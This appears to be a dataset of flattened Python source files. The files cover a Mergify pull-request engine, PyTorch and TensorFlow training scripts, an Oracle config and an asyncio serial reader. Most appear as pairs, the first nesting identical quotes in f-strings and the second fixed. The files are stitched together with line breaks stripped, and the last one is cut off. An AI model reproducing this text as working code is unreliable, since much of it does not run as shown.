_ensure_summary_on_head_sha(ctxt: context.Context) -> None: if ctxt.has_been_opened(): return sha = await ctxt.get_cached_last_summary_head_sha() if sha is None: ctxt.log.warning("head sha not stored in redis") elif sha != ctxt.pull["head"]["sha"]: ctxt.log.debug( "head sha changed need to copy summary", gh_pull_previous_head_sha=sha ) else: ctxt.log.debug("head sha didn't changed, no need to copy summary") return previous_summary = None if sha is not None: ctxt.log.debug("checking summary from redis") previous_summary = await _get_summary_from_sha(ctxt, sha) if previous_summary is not None: ctxt.log.debug("got summary from redis") if previous_summary is None: # NOTE(sileht): If the cached summary sha expires and the next event we got for # a pull request is "synchronize" we will lose the summary. Most of the times # it's not a big deal, but if the pull request is queued for merge, it may # be stuck. previous_summary = await _get_summary_from_synchronize_event(ctxt) if previous_summary: await ctxt.set_summary_check( check_api.Result( check_api.Conclusion(previous_summary["conclusion"]), title=previous_summary["output"]["title"], summary=previous_summary["output"]["summary"], ) ) else: ctxt.log.warning("the pull request doesn't have a summary") class T_PayloadEventIssueCommentSource(typing.TypedDict): event_type: github_types.GitHubEventType data: github_types.GitHubEventIssueComment timestamp: str async def run( ctxt: context.Context, sources: typing.List[context.T_PayloadEventSource], ) -> typing.Optional[check_api.Result]: LOG.debug("engine get context") ctxt.log.debug("engine start processing context") issue_comment_sources: typing.List[T_PayloadEventIssueCommentSource] = [] for source in sources: if source["event_type"] == "issue_comment": issue_comment_sources.append( typing.cast(T_PayloadEventIssueCommentSource, source) ) else: ctxt.sources.append(source) if ctxt.client.auth.permissions_need_to_be_updated: return check_api.Result( check_api.Conclusion.FAILURE, title="Required GitHub permissions are missing.", summary="You can accept them at https://dashboard.mergify.io/", ) if ctxt.pull["base"]["repo"]["private"] and not ctxt.subscription.has_feature( subscription.Features.PRIVATE_REPOSITORY ): ctxt.log.info("mergify disabled: private repository") return check_api.Result( check_api.Conclusion.FAILURE, title="Mergify is disabled", summary=ctxt.subscription.reason, ) config_file = await ctxt.repository.get_mergify_config_file() ctxt.configuration_changed = await _check_configuration_changes(ctxt, config_file) ctxt.log.debug("engine get configuration") if config_file is None: ctxt.log.debug("No config file using defaults") config_file = DEFAULT_CONFIG_FILE # BRANCH CONFIGURATION CHECKING try: mergify_config = rules.get_mergify_config(config_file) except rules.InvalidRules as e: # pragma: no cover ctxt.log.info( "The Mergify configuration is invalid", summary=str(e), annotations=e.get_annotations(e.filename), ) # Not configured, post status check with the error message for s in ctxt.sources: if s["event_type"] == "pull_request": event = typing.cast(github_types.GitHubEventPullRequest, s["data"]) if event["action"] in ("opened", "synchronize"): return check_api.Result( check_api.Conclusion.FAILURE, title="The Mergify configuration is invalid", summary=str(e), annotations=e.get_annotations(e.filename), ) return None # Add global and mandatory rules mergify_config["pull_request_rules"].rules.extend( MERGIFY_BUILTIN_CONFIG["pull_request_rules"].rules ) ctxt.log.debug("engine run pending commands") await commands_runner.run_pending_commands_tasks(ctxt, mergify_config) if issue_comment_sources: ctxt.log.debug("engine handle commands") for ic_source in issue_comment_sources: await commands_runner.handle( ctxt, mergify_config, ic_source["data"]["comment"]["body"], ic_source["data"]["comment"]["user"], ) if not ctxt.sources: return None await _ensure_summary_on_head_sha(ctxt) # NOTE(jd): that's fine for now, but I wonder if we wouldn't need a higher abstraction # to have such things run properly. Like hooks based on events that you could # register. It feels hackish otherwise. for s in ctxt.sources: if s["event_type"] == "pull_request": event = typing.cast(github_types.GitHubEventPullRequest, s["data"]) if event["action"] == "closed": await ctxt.clear_cached_last_summary_head_sha() break ctxt.log.debug("engine handle actions") if ctxt.is_merge_queue_pr(): return await queue_runner.handle(mergify_config["queue_rules"], ctxt) else: return await actions_runner.handle(mergify_config["pull_request_rules"], ctxt) async def create_initial_summary( redis: utils.RedisCache, event: github_types.GitHubEventPullRequest ) -> None: owner = event["repository"]["owner"]["login"] if not await redis.exists( context.Repository.get_config_location_cache_key( event["pull_request"]["base"]["repo"]["owner"]["login"], event["pull_request"]["base"]["repo"]["name"], ) ): # Mergify is probably not activated on this repo return # NOTE(sileht): It's possible that a "push" event creates a summary before we # received the pull_request/opened event. # So we check first if a summary does not already exists, to not post # the summary twice. Since this method can ran in parallel of the worker # this is not a 100% reliable solution, but if we post a duplicate summary # check_api.set_check_run() handle this case and update both to not confuse users. sha = await context.Context.get_cached_last_summary_head_sha_from_pull( redis, event["pull_request"] ) if sha is not None or sha == event["pull_request"]["head"]["sha"]: return async with github.aget_client(owner) as client: post_parameters = { "name": context.Context.SUMMARY_NAME, "head_sha": event["pull_request"]["head"]["sha"], "status": check_api.Status.IN_PROGRESS.value, "started_at": date.utcnow().isoformat(), "details_url": f"{event['pull_request']['html_url']}/checks", "output": { "title": "Your rules are under evaluation", "summary": "Be patient, the page will be updated soon.", }, } try: await client.post( f"/repos/{event['pull_request']['base']['user']['login']}/{event['pull_request']['base']['repo']['name']}/check-runs", api_version="antiope", json=post_parameters, ) except http.HTTPClientSideError as e: if e.status_code == 422 and "No commit found for SHA" in e.message: return raise
# import Python Modules /dependencies import time import torch import argparse import matplotlib import numpy as np import torch.nn.functional as F import matplotlib.pyplot as plt from PIL import Image from torch import nn, optim from collections import OrderedDict from workspace_utils import active_session from torchvision import datasets, transforms, models # Build model def build_model(arch, hidden_units): # Load in a pre-trained model, DenseNet default if arch.lower() == "vgg13": model = models.vgg13(pretrained=True) else: model = models.densenet121(pretrained=True) # Define a new, untrained feed-forward network as a classifier, using ReLU activations and dropout for param in model.parameters(): param.requires_grad = False # Freeze parameters so we don't backprop through them if arch.lower() == "vgg13": classifier = nn.Sequential(OrderedDict([ ('dropout1', nn.Dropout(0.1)), ('fc1', nn.Linear(25088, hidden_units)), # 25088 must match ('relu1', nn.ReLU()), ('dropout2', nn.Dropout(0.1)), ('fc2', nn.Linear(hidden_units, 102)), ('output', nn.LogSoftmax(dim=1)) ])) else: classifier = nn.Sequential(OrderedDict([ ('dropout1', nn.Dropout(0.1)), ('fc1', nn.Linear(1024, hidden_units)), # 1024 must match ('relu1', nn.ReLU()), ('dropout2', nn.Dropout(0.1)), ('fc2', nn.Linear(hidden_units, 102)), ('output', nn.LogSoftmax(dim=1)) ])) model.classifier = classifier print(f"Model built from {arch} and {hidden_units} hidden units.") return model # Measure the validation loss and accuracy def validation(model, dataloader, criterion, device): loss = 0 accuracy = 0 with torch.no_grad(): for images, labels in iter(dataloader): images, labels = images.to(device), labels.to(device) # Move input and label tensors to the GPU output = model.forward(images) loss += criterion(output, labels).item() ps = torch.exp(output) # get the class probabilities from log-softmax equality = (labels.data == ps.max(dim=1)[1]) accuracy += equality.type(torch.FloatTensor).mean() return loss, accuracy # Train model def train_model(model, train_loader, valid_loader, learning_rate, epochs, gpu): # Criterion and optimizer criterion = nn.NLLLoss() optimizer = optim.Adam(model.classifier.parameters(), lr=learning_rate) # Train the classifier layers using backpropagation using the pre-trained network to get the features device = torch.device("cuda:0" if gpu else "cpu") print(type(model)) model.to(device) print_every = 40 steps = 0 running_loss = 0 train_accuracy = 0 print(f'Training with {learning_rate} learning rate, {epochs} epochs, and {(gpu)*'cuda' + (not gpu)*'cpu'} computing.') with active_session(): for e in range(epochs): model.train() # Dropout is turned on for training for images, labels in iter(train_loader): images, labels = images.to(device), labels.to(device) # Move input and label tensors to the GPU steps += 1 optimizer.zero_grad() output = model.forward(images) loss = criterion(output, labels) loss.backward() optimizer.step() running_loss += loss.item() # get the class probabilities from log-softmax ps = torch.exp(output) equality = (labels.data == ps.max(dim=1)[1]) train_accuracy += equality.type(torch.FloatTensor).mean() if steps % print_every == 0: model.eval() # Make sure network is in eval mode for inference with torch.no_grad(): valid_loss, valid_accuracy = validation(model, valid_loader, criterion, device) print("Epoch: {}/{}.. ".format(e+1, epochs), "Training Loss: {:.3f}.. ".format(running_loss/print_every), "Training Accuracy: {:.3f}".format(train_accuracy/print_every), "Validation Loss: {:.3f}.. ".format(valid_loss/len(valid_loader)), "Validation Accuracy: {:.3f}".format(valid_accuracy/len(valid_loader))) running_loss = 0 train_accuracy = 0 model.train() # Make sure training is back on print("\nTraining completed!") return model, optimizer, criterion
# import Python Modules /dependencies import time import torch import argparse import matplotlib import numpy as np import torch.nn.functional as F import matplotlib.pyplot as plt from PIL import Image from torch import nn, optim from collections import OrderedDict from workspace_utils import active_session from torchvision import datasets, transforms, models # Build model def build_model(arch, hidden_units): # Load in a pre-trained model, DenseNet default if arch.lower() == "vgg13": model = models.vgg13(pretrained=True) else: model = models.densenet121(pretrained=True) # Define a new, untrained feed-forward network as a classifier, using ReLU activations and dropout for param in model.parameters(): param.requires_grad = False # Freeze parameters so we don't backprop through them if arch.lower() == "vgg13": classifier = nn.Sequential(OrderedDict([ ('dropout1', nn.Dropout(0.1)), ('fc1', nn.Linear(25088, hidden_units)), # 25088 must match ('relu1', nn.ReLU()), ('dropout2', nn.Dropout(0.1)), ('fc2', nn.Linear(hidden_units, 102)), ('output', nn.LogSoftmax(dim=1)) ])) else: classifier = nn.Sequential(OrderedDict([ ('dropout1', nn.Dropout(0.1)), ('fc1', nn.Linear(1024, hidden_units)), # 1024 must match ('relu1', nn.ReLU()), ('dropout2', nn.Dropout(0.1)), ('fc2', nn.Linear(hidden_units, 102)), ('output', nn.LogSoftmax(dim=1)) ])) model.classifier = classifier print(f"Model built from {arch} and {hidden_units} hidden units.") return model # Measure the validation loss and accuracy def validation(model, dataloader, criterion, device): loss = 0 accuracy = 0 with torch.no_grad(): for images, labels in iter(dataloader): images, labels = images.to(device), labels.to(device) # Move input and label tensors to the GPU output = model.forward(images) loss += criterion(output, labels).item() ps = torch.exp(output) # get the class probabilities from log-softmax equality = (labels.data == ps.max(dim=1)[1]) accuracy += equality.type(torch.FloatTensor).mean() return loss, accuracy # Train model def train_model(model, train_loader, valid_loader, learning_rate, epochs, gpu): # Criterion and optimizer criterion = nn.NLLLoss() optimizer = optim.Adam(model.classifier.parameters(), lr=learning_rate) # Train the classifier layers using backpropagation using the pre-trained network to get the features device = torch.device("cuda:0" if gpu else "cpu") print(type(model)) model.to(device) print_every = 40 steps = 0 running_loss = 0 train_accuracy = 0 print(f'Training with {learning_rate} learning rate, {epochs} epochs, and {(gpu)*"cuda" + (not gpu)*"cpu"} computing.') with active_session(): for e in range(epochs): model.train() # Dropout is turned on for training for images, labels in iter(train_loader): images, labels = images.to(device), labels.to(device) # Move input and label tensors to the GPU steps += 1 optimizer.zero_grad() output = model.forward(images) loss = criterion(output, labels) loss.backward() optimizer.step() running_loss += loss.item() # get the class probabilities from log-softmax ps = torch.exp(output) equality = (labels.data == ps.max(dim=1)[1]) train_accuracy += equality.type(torch.FloatTensor).mean() if steps % print_every == 0: model.eval() # Make sure network is in eval mode for inference with torch.no_grad(): valid_loss, valid_accuracy = validation(model, valid_loader, criterion, device) print("Epoch: {}/{}.. ".format(e+1, epochs), "Training Loss: {:.3f}.. ".format(running_loss/print_every), "Training Accuracy: {:.3f}".format(train_accuracy/print_every), "Validation Loss: {:.3f}.. ".format(valid_loss/len(valid_loader)), "Validation Accuracy: {:.3f}".format(valid_accuracy/len(valid_loader))) running_loss = 0 train_accuracy = 0 model.train() # Make sure training is back on print("\nTraining completed!") return model, optimizer, criterion
from partools.utils import g # Mandatory inputs--------------------------------------------------- # Either CNX_INFO or DB have to be input. If both are filled, CNX_INFO is taken CNX_INFO = '' # Connection string: 'USER/PWD@HOST:PORT/SERVICE_NAME' DB = '' # DB name from partools.conf.CONF_ORACLE QUERY_IN = '' # Must be a variabilized query containing '@@IN@@' (see quickstart/rl) # Optional inputs---------------------------------------------------- ENV = '' # See comment in conf.CONF_ORACLE for details IN_PATH = f"{g.dirs["IN"]}rl_in.csv" OUT_PATH = f"{g.dirs["OUT"]}rl_out.csv" # Default const------------------------------------------------------ MAX_DB_CNX = 8 # Maximum number of connections allowed to work in parallel NB_MAX_ELT_IN_STATEMENT = 1000 # Maximum number of elements in the 'IN' statement per queries PIVOT_IDX = 0 # Index of the pivot column (column on which the queries and joint are performed) SKIP_JOIN = False # If True, no joint is performed and the SQL result is directly output SKIP_SQL = False # If True, no SQL query is performed and the joint is directly performed with the available SQL tmp file (only needed for test purpose) CHECK_DUP = True OPEN_OUT_FILE = True MSG_BOX_END = True # If True, a message box will pop up at the end of the process, if the processing time is greater than MIN_DUR_TRIGGER MIN_DUR_TRIGGER = 30 DEBUG_JOIN = False TEST_RECOVER = False TMP_FOLDER = 'rl/' OUT_LEFT_FILE = 'out_l.csv' OUT_RIGHT_FILE = 'out_r.csv' OUT_SQL_FILE = 'out_sql.csv' VAR_IN = "IN" TMP_FILE_TYPE = '.csv' EC = '_EC' QN = '_QN' # Settable globales VAR_DICT = {} # Process manager MD = None
from partools.utils import g # Mandatory inputs--------------------------------------------------- # Either CNX_INFO or DB have to be input. If both are filled, CNX_INFO is taken CNX_INFO = '' # Connection string: 'USER/PWD@HOST:PORT/SERVICE_NAME' DB = '' # DB name from partools.conf.CONF_ORACLE QUERY_IN = '' # Must be a variabilized query containing '@@IN@@' (see quickstart/rl) # Optional inputs---------------------------------------------------- ENV = '' # See comment in conf.CONF_ORACLE for details IN_PATH = f"{g.dirs['IN']}rl_in.csv" OUT_PATH = f"{g.dirs['OUT']}rl_out.csv" # Default const------------------------------------------------------ MAX_DB_CNX = 8 # Maximum number of connections allowed to work in parallel NB_MAX_ELT_IN_STATEMENT = 1000 # Maximum number of elements in the 'IN' statement per queries PIVOT_IDX = 0 # Index of the pivot column (column on which the queries and joint are performed) SKIP_JOIN = False # If True, no joint is performed and the SQL result is directly output SKIP_SQL = False # If True, no SQL query is performed and the joint is directly performed with the available SQL tmp file (only needed for test purpose) CHECK_DUP = True OPEN_OUT_FILE = True MSG_BOX_END = True # If True, a message box will pop up at the end of the process, if the processing time is greater than MIN_DUR_TRIGGER MIN_DUR_TRIGGER = 30 DEBUG_JOIN = False TEST_RECOVER = False TMP_FOLDER = 'rl/' OUT_LEFT_FILE = 'out_l.csv' OUT_RIGHT_FILE = 'out_r.csv' OUT_SQL_FILE = 'out_sql.csv' VAR_IN = "IN" TMP_FILE_TYPE = '.csv' EC = '_EC' QN = '_QN' # Settable globales VAR_DICT = {} # Process manager MD = None
#-*- coding: utf-8 -*- # if want to test can use socat to create virtual serial: # ex: socat -d -d -v pty,rawer,echo=0,link=./reader pty,rawer,echo=0,link=./writer # 2019/04/09 11:16:09 socat[22919] N PTY is /dev/ttys000 # 2019/04/09 11:16:09 socat[22919] N PTY is /dev/ttys006 # 2019/04/09 11:16:09 socat[22919] N starting data transfer loop with FDs [5,5] and [8,8] # # ttys000 is write, ttys006 is read # # sample: # echo "hello" > /dev/ttys006 import asyncio import serial_asyncio import random # serial setting url = '/dev/cu.usbmodem14201' url2 = '/dev/cu.usbserial-AL016RPE' port = 9600 async def produce(queue, url, **kwargs): """get serial data use recv() define format with non-blocking """ reader, writer = await serial_asyncio.open_serial_connection(url=url, **kwargs) buffers = recv(reader) async for buf in buffers: # TODO: can handle data format here print(f"produce id: {id(buf)}, device:{buf.split(",")[2:4]}") await asyncio.sleep(random.random()) await queue.put(buf) async def recv(r): """ Handle stream data with different StreamReader: 'read', 'readexactly', 'readuntil', or 'readline' """ while True: msg = await r.readuntil(b'\r') yield msg.rstrip().decode('utf-8') async def consume(queue): """ consume serial data from queue """ while True: # wait for an data from producer data = await queue.get() # process the data print(f"consuming id: {id(data)}") # simulate i/o operation using sleep await asyncio.sleep(random.random()) # Notify the queue that the item has been processed queue.task_done() loop = asyncio.get_event_loop() queue = asyncio.Queue(loop=loop) producer_coro = produce(queue, url=url, baudrate=port) producer_coro2 = produce(queue, url=url2, baudrate=port) consumer_coro = consume(queue) loop.run_until_complete(asyncio.gather(producer_coro, producer_coro2, consumer_coro)) loop.close()
#-*- coding: utf-8 -*- # if want to test can use socat to create virtual serial: # ex: socat -d -d -v pty,rawer,echo=0,link=./reader pty,rawer,echo=0,link=./writer # 2019/04/09 11:16:09 socat[22919] N PTY is /dev/ttys000 # 2019/04/09 11:16:09 socat[22919] N PTY is /dev/ttys006 # 2019/04/09 11:16:09 socat[22919] N starting data transfer loop with FDs [5,5] and [8,8] # # ttys000 is write, ttys006 is read # # sample: # echo "hello" > /dev/ttys006 import asyncio import serial_asyncio import random # serial setting url = '/dev/cu.usbmodem14201' url2 = '/dev/cu.usbserial-AL016RPE' port = 9600 async def produce(queue, url, **kwargs): """get serial data use recv() define format with non-blocking """ reader, writer = await serial_asyncio.open_serial_connection(url=url, **kwargs) buffers = recv(reader) async for buf in buffers: # TODO: can handle data format here print(f"produce id: {id(buf)}, device:{buf.split(',')[2:4]}") await asyncio.sleep(random.random()) await queue.put(buf) async def recv(r): """ Handle stream data with different StreamReader: 'read', 'readexactly', 'readuntil', or 'readline' """ while True: msg = await r.readuntil(b'\r') yield msg.rstrip().decode('utf-8') async def consume(queue): """ consume serial data from queue """ while True: # wait for an data from producer data = await queue.get() # process the data print(f"consuming id: {id(data)}") # simulate i/o operation using sleep await asyncio.sleep(random.random()) # Notify the queue that the item has been processed queue.task_done() loop = asyncio.get_event_loop() queue = asyncio.Queue(loop=loop) producer_coro = produce(queue, url=url, baudrate=port) producer_coro2 = produce(queue, url=url2, baudrate=port) consumer_coro = consume(queue) loop.run_until_complete(asyncio.gather(producer_coro, producer_coro2, consumer_coro)) loop.close()
from sklearn.metrics import average_precision_score, log_loss from sklearn.model_selection import train_test_split import dask.dataframe as dd import os, sys import time import RootPath from Scripts.utilities import start_cluster import tensorflow as tf from tensorflow.keras.models import Sequential from tensorflow.keras.layers import Dense,Activation,Dropout,Embedding,LSTM,Concatenate,Input,Flatten,BatchNormalization from tensorflow.keras.optimizers import * from tensorflow.keras.callbacks import * from tensorflow.keras import regularizers from tensorflow.keras.losses import * import numpy as np import pandas as pd from tensorflow.keras.layers.experimental import preprocessing import gc def buildModel(layer,inputSize,depth=3,firstHidden=256,dropout=0,reduction_factor=2,loss=BinaryCrossentropy(from_logits=False),useNormalization=True,optimizer=Adam,lr=0.0003): model=Sequential() shape=(inputSize,) size=firstHidden model.add(layer) for i in range(depth): model.add(Dense(size,input_shape=shape,activation="relu")) model.add(Dropout(dropout)) if useNormalization: model.add(BatchNormalization()) size=size//reduction_factor model.add(Dense(1,activation="sigmoid")) model.compile(loss=loss, metrics=[tf.keras.metrics.AUC(name="PRAUC", curve='PR'),"accuracy"],optimizer=optimizer(learning_rate=lr)) return model def calculate_ctr(gt): positive = len([x for x in gt if x == 1]) ctr = positive/float(len(gt)) return ctr def rce(y_true, y_pred): cross_entropy = log_loss(y_true, y_pred) data_ctr = calculate_ctr(y_true) strawman_cross_entropy = log_loss(y_true, [data_ctr for _ in range(len(y_true))]) return (1.0 - cross_entropy/strawman_cross_entropy)*100.0 def ap(y_true, y_pred): return average_precision_score(y_true, y_pred) if __name__ == '__main__': print('Python %s on %s' % (sys.version, sys.platform)) #code to automatically choose aws or local runtime if RootPath.is_aws(): print("Detected running on AWS!") #set in a way that memory limit * n_workers <= max available ram and avoid memory_limit<16gb c = start_cluster(n_workers=16, threads_per_worker=1, memory_limit="48GB", processes=True) else: print("Running on local") dataset_volume_path = '/home/ubuntu/new' print(f"Dataset folder used: {RootPath.get_dataset_path()}") #change to modify percentage of data used for train-validation-test (1=100%) frac=1 #choose interaction(index in the array engCols (engagement Columns)) idx=3 engCols=['engagement_reply_timestamp', 'engagement_comment_timestamp', 'engagement_retweet_timestamp','engagement_like_timestamp'] print(engCols[idx]) parquet_dataset_path = os.path.join(dataset_volume_path,"train") parquet_dataset_Test_path= os.path.join(dataset_volume_path,"test") cols=[ 'creator_follower_count', 'creator_following_count', 'creator_is_verified', 'creator_creation_timestamp', 'engager_follower_count', 'engager_following_count', 'engager_is_verified', 'engager_creation_timestamp', 'engagement_creator_follows_engager', 'engagement_reply_timestamp', 'engagement_retweet_timestamp', 'engagement_comment_timestamp', 'engagement_like_timestamp', 'is_from_official_val', 'number_of_photo', 'number_of_gif', 'number_of_video', 'tweet_links_count', 'tweet_domains_count', 'tweet_hashtags_count', 'tweet_hashtags_unique_count', 'mapped_language_id', 'mapped_tweet_type', 'tweet_timestamp_hour_sin', 'tweet_timestamp_hour_cos', 'tweet_timestamp_day', 'tweet_timestamp_weekday', 'tweet_timestamp_hour_bin', 'tweet_timestamp_creator_account_age_bin', 'text_is_reply', 'text_tokens_count', 'text_unknown_count', 'text_special_tokens_count', 'text_questions_count', 'text_semantic_separation', 'text_newline_count', 'text_separated_count', 'text_char_count', 'text_asking_like', 'text_asking_reply', 'text_comment_related_count', 'text_no_comment_related_count', 'text_asking_retweet', 'text_nsfw_count', 'text_kpop_count', 'text_covid_count', 'text_sports_count', 'text_japanesetrending_count', 'text_anime_count', 'text_vtuber_count', 'text_news_count', 'text_myanmar_count', 'text_genshin_count', 'text_crypto_count', 'text_trending_count', 'text_love_count', 'text_slang_count', 'text_mention_count', 'engager_follower_quantile', 'creator_follower_quantile', 'creator_follower_ratio', 'engager_follower_ratio', 'creator_vs_engager_follower_ratio', 'creator_vs_engager_following_ratio', 'CE_language__timestamp_hour_bin', 'CE_language__timestamp_hour_bin__timestamp_weekday', 'CE_language__type', 'CE_language__engager_follower_quantile', 'CE_type__timestamp_weekday', 'CE_type__timestamp_hour_bin', 'CE_timestamp_creator_account_age_bin__engager_follower_quantile__creator_follower_quantile', 'CE_language__presence_of_photo__presence_of_gif__presence_of_video', 'TE_mapped_engager_id_engagement_reply', 'TE_number_of_photo_engagement_reply', 'TE_number_of_gif_engagement_reply', 'TE_number_of_video_engagement_reply', 'TE_mapped_tweet_type_engagement_reply', 'TE_mapped_language_id_engagement_reply', 'TE_mapped_creator_id_engagement_reply', 'TE_mapped_tweet_links_id_1_engagement_reply', 'TE_mapped_tweet_links_id_2_engagement_reply', 'TE_mapped_tweet_hashtags_id_1_engagement_reply', 'TE_mapped_tweet_hashtags_id_2_engagement_reply', 'TE_mapped_domains_id_1_engagement_reply', 'TE_mapped_domains_id_2_engagement_reply', "TE_('mapped_domains_id_1', 'mapped_language_id', 'engagement_creator_follows_engager', 'mapped_tweet_type', 'number_of_photo', 'creator_is_verified')_engagement_reply", 'TE_tweet_links_count_engagement_reply', 'TE_tweet_domains_count_engagement_reply', 'TE_tweet_hashtags_count_engagement_reply', 'TE_tweet_hashtags_unique_count_engagement_reply', 'TE_mapped_engager_id_engagement_retweet', 'TE_number_of_photo_engagement_retweet', 'TE_number_of_gif_engagement_retweet', 'TE_number_of_video_engagement_retweet', 'TE_mapped_tweet_type_engagement_retweet', 'TE_mapped_language_id_engagement_retweet', 'TE_mapped_creator_id_engagement_retweet', 'TE_mapped_tweet_links_id_1_engagement_retweet', 'TE_mapped_tweet_links_id_2_engagement_retweet', 'TE_mapped_tweet_hashtags_id_1_engagement_retweet', 'TE_mapped_tweet_hashtags_id_2_engagement_retweet', 'TE_mapped_domains_id_1_engagement_retweet', 'TE_mapped_domains_id_2_engagement_retweet', "TE_('mapped_domains_id_1', 'mapped_language_id', 'engagement_creator_follows_engager', 'mapped_tweet_type', 'number_of_photo', 'creator_is_verified')_engagement_retweet", 'TE_tweet_links_count_engagement_retweet', 'TE_tweet_domains_count_engagement_retweet', 'TE_tweet_hashtags_count_engagement_retweet', 'TE_tweet_hashtags_unique_count_engagement_retweet', 'TE_mapped_engager_id_engagement_comment', 'TE_number_of_photo_engagement_comment', 'TE_number_of_gif_engagement_comment', 'TE_number_of_video_engagement_comment', 'TE_mapped_tweet_type_engagement_comment', 'TE_mapped_language_id_engagement_comment', 'TE_mapped_creator_id_engagement_comment', 'TE_mapped_tweet_links_id_1_engagement_comment', 'TE_mapped_tweet_links_id_2_engagement_comment', 'TE_mapped_tweet_hashtags_id_1_engagement_comment', 'TE_mapped_tweet_hashtags_id_2_engagement_comment', 'TE_mapped_domains_id_1_engagement_comment', 'TE_mapped_domains_id_2_engagement_comment', "TE_('mapped_domains_id_1', 'mapped_language_id', 'engagement_creator_follows_engager', 'mapped_tweet_type', 'number_of_photo', 'creator_is_verified')_engagement_comment", 'TE_tweet_links_count_engagement_comment', 'TE_tweet_domains_count_engagement_comment', 'TE_tweet_hashtags_count_engagement_comment', 'TE_tweet_hashtags_unique_count_engagement_comment', 'TE_mapped_engager_id_engagement_like', 'TE_number_of_photo_engagement_like', 'TE_number_of_gif_engagement_like', 'TE_number_of_video_engagement_like', 'TE_mapped_tweet_type_engagement_like', 'TE_mapped_language_id_engagement_like', 'TE_mapped_creator_id_engagement_like', 'TE_mapped_tweet_links_id_1_engagement_like', 'TE_mapped_tweet_links_id_2_engagement_like', 'TE_mapped_tweet_hashtags_id_1_engagement_like', 'TE_mapped_tweet_hashtags_id_2_engagement_like', 'TE_mapped_domains_id_1_engagement_like', 'TE_mapped_domains_id_2_engagement_like', "TE_('mapped_domains_id_1', 'mapped_language_id', 'engagement_creator_follows_engager', 'mapped_tweet_type', 'number_of_photo', 'creator_is_verified')_engagement_like", 'TE_tweet_links_count_engagement_like', 'TE_tweet_domains_count_engagement_like', 'TE_tweet_hashtags_count_engagement_like', 'TE_tweet_hashtags_unique_count_engagement_like', ] #load datasets print('Start reading \n') df = dd.read_parquet(parquet_dataset_path, engine='pyarrow', columns=cols) dfTest = dd.read_parquet(parquet_dataset_Test_path, engine='pyarrow', columns=cols) #choose fraction of dataset to use df = df.sample(frac = frac) chosen=engCols[idx] rest=[c for c in engCols if c!=chosen] # Drop other engagements df = df.drop(columns=rest) dfTest = dfTest.drop(columns=rest) #prepare output df[chosen] = df[chosen].mask(df[chosen] < 0, 0) df[chosen] = df[chosen].mask(df[chosen] > 0, 1) dfTest[chosen] = dfTest[chosen].mask(dfTest[chosen] < 0, 0) dfTest[chosen] = dfTest[chosen].mask(dfTest[chosen] > 0, 1) #prepare output and drop from dataset yTest = dfTest[chosen] dfTest = dfTest.drop(columns=[chosen]) y = df[chosen] df = df.drop(columns=[chosen]) print('Start compute \n') # From Dask to Pandas train df=df.astype(np.float32) df = df.compute() y = y.compute() print('Start compute \n') # From Dask to Pandas validation dfTest=dfTest.astype(np.float32) dfTest = dfTest.compute() yTest = yTest.compute() #save list of columns and their order for inference time np.save("cols.npy",df.columns) yTest=yTest.to_numpy(copy=False) gc.collect() #Prepare Normalization layer to normalize NN inputs layer = preprocessing.Normalization() layer.adapt(df) print('Columns name:', df.columns) #rename to easier names X_train=df y_train=y #build model using normalization layer model = buildModel(layer,len(df.columns)) del df, y BS=4096 #prepare input and output as numpy arrays trainIn=X_train.to_numpy(copy=False) trainOut=y_train.to_numpy(copy=False) best=0 #iteratively train one epoch at the time and evaluation of metrics on validation set at each step #model saved only on rce score improvements for i in range(30): model.fit(trainIn,trainOut,epochs=i+1,initial_epoch=i,batch_size=BS) preds=model.predict(dfTest.to_numpy(copy=False),batch_size=4096) #this line avoids exact 0 or 1 predictions which in case of mistake can lead to -infinite rce preds=np.clip(preds,np.finfo(float).eps,0.9999999) rce_score=rce( yTest,preds) ap_score=ap(yTest,preds) with open(f"perf_{chosen.replace("engagement_","").replace("_timestamp","")}.txt","a+") as f: f.write(f'The model scored a TEST RCE of: {rce_score}\n') f.write(f'The model scored an TEST AP of: {ap_score}\n') if rce_score>best: model.save(f"{chosen.replace("engagement_","").replace("_timestamp","")}_epoch_{i}") best=rce_score
from sklearn.metrics import average_precision_score, log_loss from sklearn.model_selection import train_test_split import dask.dataframe as dd import os, sys import time import RootPath from Scripts.utilities import start_cluster import tensorflow as tf from tensorflow.keras.models import Sequential from tensorflow.keras.layers import Dense,Activation,Dropout,Embedding,LSTM,Concatenate,Input,Flatten,BatchNormalization from tensorflow.keras.optimizers import * from tensorflow.keras.callbacks import * from tensorflow.keras import regularizers from tensorflow.keras.losses import * import numpy as np import pandas as pd from tensorflow.keras.layers.experimental import preprocessing import gc def buildModel(layer,inputSize,depth=3,firstHidden=256,dropout=0,reduction_factor=2,loss=BinaryCrossentropy(from_logits=False),useNormalization=True,optimizer=Adam,lr=0.0003): model=Sequential() shape=(inputSize,) size=firstHidden model.add(layer) for i in range(depth): model.add(Dense(size,input_shape=shape,activation="relu")) model.add(Dropout(dropout)) if useNormalization: model.add(BatchNormalization()) size=size//reduction_factor model.add(Dense(1,activation="sigmoid")) model.compile(loss=loss, metrics=[tf.keras.metrics.AUC(name="PRAUC", curve='PR'),"accuracy"],optimizer=optimizer(learning_rate=lr)) return model def calculate_ctr(gt): positive = len([x for x in gt if x == 1]) ctr = positive/float(len(gt)) return ctr def rce(y_true, y_pred): cross_entropy = log_loss(y_true, y_pred) data_ctr = calculate_ctr(y_true) strawman_cross_entropy = log_loss(y_true, [data_ctr for _ in range(len(y_true))]) return (1.0 - cross_entropy/strawman_cross_entropy)*100.0 def ap(y_true, y_pred): return average_precision_score(y_true, y_pred) if __name__ == '__main__': print('Python %s on %s' % (sys.version, sys.platform)) #code to automatically choose aws or local runtime if RootPath.is_aws(): print("Detected running on AWS!") #set in a way that memory limit * n_workers <= max available ram and avoid memory_limit<16gb c = start_cluster(n_workers=16, threads_per_worker=1, memory_limit="48GB", processes=True) else: print("Running on local") dataset_volume_path = '/home/ubuntu/new' print(f"Dataset folder used: {RootPath.get_dataset_path()}") #change to modify percentage of data used for train-validation-test (1=100%) frac=1 #choose interaction(index in the array engCols (engagement Columns)) idx=3 engCols=['engagement_reply_timestamp', 'engagement_comment_timestamp', 'engagement_retweet_timestamp','engagement_like_timestamp'] print(engCols[idx]) parquet_dataset_path = os.path.join(dataset_volume_path,"train") parquet_dataset_Test_path= os.path.join(dataset_volume_path,"test") cols=[ 'creator_follower_count', 'creator_following_count', 'creator_is_verified', 'creator_creation_timestamp', 'engager_follower_count', 'engager_following_count', 'engager_is_verified', 'engager_creation_timestamp', 'engagement_creator_follows_engager', 'engagement_reply_timestamp', 'engagement_retweet_timestamp', 'engagement_comment_timestamp', 